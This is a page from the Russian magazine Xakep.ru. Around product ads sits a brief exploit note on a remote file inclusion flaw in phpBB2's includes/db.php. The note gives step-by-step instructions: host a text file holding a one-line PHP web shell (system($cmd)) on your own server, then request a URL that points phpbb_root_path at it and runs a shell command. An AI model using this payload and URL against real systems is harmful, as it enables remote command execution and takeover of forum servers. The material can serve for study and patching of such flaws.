Наши продукты

Все выпуски в PDF →
  • Годовая подписка на Xakep.ru

    Все статьи, PDF-архив, скидки и другие бонусы

    6000₽ в год

    Подписаться
  • Ежеквартальный «Хакер» #4

    Печатный выпуск за август–ноябрь 2026 года

    2000₽

    Заказать
  • Ежеквартальный «Хакер» #3

    Печатный выпуск за май–июль 2026 года

    2000₽

    Заказать
  • Спецвыпуск «Хакера» #4

    Избранные материалы 2021–2022 годов на бумаге

    2000₽

    Заказать

PhpBB2 - мощный, полностью масштабируемый, пакет для создания форумов.
Переменная Phpbb_root_path принимает сценарии от внешних серверов, позволяя удаленному нападающему выполнять произвольные команды.

Уязвимость найдена в сценарии db.php:

input: '/phpBB2/includes/db.php?phpbb_root_path=full_path_to_script'

ведь full_path_to_script может быть URL c другого Web сервера. Например, создайте директорию 'db' на вашем Web сервере. Затем в этой директории создайте файл 'mysql.txt' или 'mysql4.txt' или 'postgres.txt' (другие имена почему-то не срабатывают).

Этот mysql.txt должен содержать эту строку:

<? echo "<pre>"; system($cmd); ?>

Передайте срипту следующий URL:

http://example.com/phpBB2/includes/db.php?phpbb_root_path= http://your_http_server/&dbms=mysql&phpEx=txt&cmd=uname%20-a

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии